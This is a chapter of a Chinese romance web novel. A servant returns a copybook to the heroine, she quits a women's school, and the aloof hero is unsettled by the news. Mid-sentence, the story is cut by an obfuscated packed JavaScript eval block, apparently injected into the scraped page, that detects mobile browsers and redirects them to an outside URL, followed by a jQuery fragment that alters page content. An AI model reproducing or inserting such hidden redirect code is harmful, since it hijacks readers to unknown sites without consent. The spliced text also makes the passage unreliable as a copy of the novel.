隔天一大早，伺候完陆晏清出门，春来就携字帖去宋家拜访。宋平也出发上值了，没和春来碰上，他暗自庆幸：幸亏错过了，不然以宋平那个女儿奴的性格，非命人乱棍打走他不成。


    跟门房说明来意，门房通传，春来左右踱步等候。


    消息一层一层传到芒岁耳朵里，芒岁道：“姑娘没起呢。他要不急，就请他等一会；急，就请换个时候再来吧。”


    话原原本本带出去。春来不意外，好脾气道：“不急，宋姑娘慢慢收拾，我等得起。”


    而这一等，一个时辰流走了。春来抹着脑门上的汗，腹诽：这差事真是棘手。也没法子，谁叫公子伤人家心了呢。他是公子鞍前马后角色，默默受着呗。


    芒岁躲在角门后窥视，琢磨晾得差不多了，便若无其事地走出去，引他入内。


    宋知意不在屋里，在院子里抱着爱猫悠悠荡秋千，很是怡然自得。


    “姑娘，人来了。”芒岁站去身侧。


    宋知意把猫抱起来，说：“还没喂它，你带下去喂了吧。”


    芒岁两手接了抱住，正要回屋，臂弯的猫呜呜低吼起来，不及安抚，一个飞出去，跳春来身上，伸爪子抓了他好几下，逃窜而去。


    “你要不要紧？”芒岁焦急道。


    不巧，春来手背上挨了挠，爬着几道血印子。芒岁疾呼人来给他处理。所幸是皮外伤，处理起来简单。


    他们在厢房里包扎，宋知意却没跟过来，仍然坐在秋千上发呆。


    “今天的事，真是对不住。”追究起来是自己没管好猫，害得人受伤，芒岁过意不去。


    春来不讲究，粗枝大叶道：“论起来，也是意外嘛。而且我这皮糙肉厚的，没觉着疼。姑娘不用自责。”


    芒岁赔笑道：“平常它特别亲人，我们家这么多人，谁摸它，它就对谁翻肚皮撒娇。今天也不知道怎么了……”


    春来嬉皮笑脸道：“兴许是我哪里长得不对，吓着它了。不怨它，怨我，谁让我不像我们家两位少爷似的，光风霁月，人见人爱，花见花开。是我没那福气！”


    他轻轻松松的表现，使芒岁心安不少，不过他把他主子夸得天花乱坠，就不太中听了。真那么好，怎么公开羞辱她们姑娘呢？


    “你好了，就出来吧。”芒岁扭头走人。


    少顷，春来出去，将宝贝了一路的锦盒捧在手心献与宋知意：“这是宋姑娘昨天拿去的字帖，因原来的盒子坏了，就新找了个装好。万幸刚刚没再给摔了。”


    宋知意眯眼，道：“你就是为还这个来的？”


    春来笑笑：“公子说了，此物贵重。勒令我，今日必须完璧归赵。”


    不待见她的人，连她给的东西也吝啬于收留……当真冷血薄情呢。宋知意朝身旁抬眼皮子，芒岁接收到信号，伸手揽过盒子。


    他急于和她撇清干系，正好，她也是一样。


    “还有事么？”她问。


    烫手山芋离手，春来如释重负，摇头，实话实说：“就是专程为它来的。既然它到位了，那我先告辞了。”


    宋知意倒没留他，只是记起一件事，使唤芒岁：“你现在去问王贵叔取了库房钥匙，选几匹素色的缎子，包好，带上它，去女学找着何嬷嬷，对她说，多谢她这程子的照拂，我心怀感激，只是我今后多有不便，不能继续听课了。”


    自从做了何嬷嬷的学生，她是吃不好睡不好，偶尔还和其他人起口角之争。芒岁看在眼里，早希望她打退堂鼓了。如今她有了明确主张，自然喜不自胜，响应一声，下去操办。


    春来不禁为这段嘱咐吸引，放慢脚步，有意多听几句，宋知意却关了话匣子，起身回了房间。没得可听的，便一路寻思，回了陆家。


    日薄西山时，陆晏清结束一日公干，同杨茂并肩出了衙门。两人且走且聊，前半段聊公事，后半段遇上工部几个官员，重心则变成了相互寒暄。


    宋平混迹当中，还个礼，加紧步伐先行一步。


    工部侍郎指着宋平的背影，戏言：“这个老老宋，一天下来沉着个脸，十有八九是又被他家姑娘折腾的。”


    工部侍郎生活简单，对别人家的是非不感兴趣，天天衙门家中两点一线。他还不知道昨儿陆家的情况呢。


    杨茂打哈哈，糊弄走了工部侍郎。其他人秉着多一事不如少一事的理念，陆续散了。这条路上，复归宁静，唯余陆晏清杨茂两人的走路声。


    及至永定门，与各自的仆从会合。杨茂冲陆晏清拱手告别，陆晏清还施一礼。


    陆晏清有个习惯，骑马的时候不戴官帽。春来照常擎着他卸下的官帽。


    “你那手怎么了？”春来手背上一道道抓痕，分外夺目，他不留意都不行。


    春来把手往袖子里藏了藏，随便编了个理由。


    “……以后自己当心些。”


    “多谢公子挂心。我记着了。”


    “东西可送回去了？”他轻巧上马。


    春来回：“送到了。”


    “没有节外生枝？”


    “没有。我说了原因，宋姑娘就收了，竟出奇地顺利。”


    “……嗯。”


    “就是……”春来的话没到头，举目观察他的颜色，却对上他的一个侧目：“就是什么？”


    “……就是宋姑娘自己说，从今往后，不打算去咱们家女学了。”


    静了须臾，陆晏清说：“她的心性，不受约束，不服管教，本就不适合女学。半途而废，也是意料之中。”


    这几个月以来，宋知意在学里的努力，春来频频耳闻，亦偶尔目睹，根本没有他说得那样不堪。春来是个热心肠，忍不住替宋知意分辩：“宋姑娘的确是顽劣了些，但近来在学里，也控制着呢。何嬷嬷不止一次说起，宋姑娘课上很积极认真，有不懂的地方，课下一定请教。我也亲眼见过宋姑娘拿着一个小本子写写画画，一问芒岁，才知道是课上的知识——宋姑娘知道自己记性不好，就花时间把每日学的记下来，常常温习。”


    “……恕小的冒昧，公子对宋姑娘的偏见，有点过于大了……”


    陆晏清微微皱眉：“看来，你倒是很了解她。”


    春来忙摆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657151|186434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手否认：“我跟人家非亲非故的，而且人家是千金小姐，我只是一个粗鄙奴才，上哪了解人家去呀……公子别抬举我了，我担当不起……”


    陆晏清睬他一眼，骑马去了。


    春来自扇几下嘴巴子，引以为戒。


    晚膳间，陆夫人问周氏晓不晓得宋知意退学一事。周氏先是一懵，然后回答：“我并不知。这是什么时候的事？”


    崔璎心下冷笑。她一向和宋知意不分你我，如此大事，宋知意会不知会她？装也不装得合理一点。


    周氏说不知情，陆夫人也半信半疑，不过她没有旁的用意，随口一问罢了。陆夫人叹道：“就今天早晨的事。据说那孩子学得极其刻苦，半路放弃，可惜了。”


    “是呢，我见过她用功的模样，突然说不来了，这心里挺不是滋味的。”周氏看一看陆晏清，见他已要了茶水漱口，随后起立，以料理白日未尽公务为由，辞过众人，出了饭厅。


    周氏暗暗讥笑。他哪来那么多公务，不就是听大家谈起宋知意，心里不得劲了，故意寻个由头躲走么。一个大男人对一个小姑娘避如蛇蝎，真是荒谬。


    周氏忽然看开了：早点了断也是好事，别耽误了宋知意。她又不是没人要，那薛家小少爷不就是个现成的人选么！


    诚如周氏猜想，陆晏清并无待办公事，撇下众人出来，乃不愿参与跟宋知意相关的话题。


    偌大陆府，他无意闲逛，径直抵达书房。环顾一周，他去书柜前，抽出一本兵书，托而览之。


    他喜好不多，读书乃其一。久而久之，他练就了一目十行、过目不忘的本领。可今日这书，看起来处处不顺畅，不是看错了列，就是忘了前文。翻来覆去半个时辰，堪堪掀过一页，不及他平素的零头。


    他不信邪，聚集精神，专注书页，一个字一个字地看，心里同时默念。纰漏倒是避免了，心态也翻倍浮躁了——他一手丢开书，揉着眼角，自我反思，最终也反思不出个所以然来。


    “春来，什么时辰了？”难道是太疲惫了吗？


    “戌时才过呢。”春来推门进来，望见地上躺着一本书，心存疑惑：公子爱惜书本，平时不许下人进来打扫，怕把他那些书碰坏了，都是亲力亲为。那今晚怎的书掉地上也不管？


    春来想破脑袋也想不通，干脆不想了，弯腰捡起书，整整齐齐摆放至案上。又看他按着眉头，不言不语，便出言关切：“公子是不是累了？要不您早点洗漱更衣，早点休息？”


    按照惯例，陆晏清亥时方就寝。现在才戌时，太早了。


    “不必。”他把手指从鼻梁处拿开，取出一张空白宣纸，拿笔蘸墨，笔走龙蛇，“你给我泡杯茶来吧。”茶水清爽，提神醒脑。


    戌时吹灯归寝，确实过早了。春来答应着出去。


    次日，除却宋家父女外，陆家聚齐了前天陆晏清生日宴上的原班人马。依照计划，开席前，陆晏清向大家朗声解释，自那天以后轰动全城的，他和崔璎关系非同一般的传闻。口吻冷静，措辞缜密，态度磊落，闻者无不心服口服。此后两月，谣言得以平息。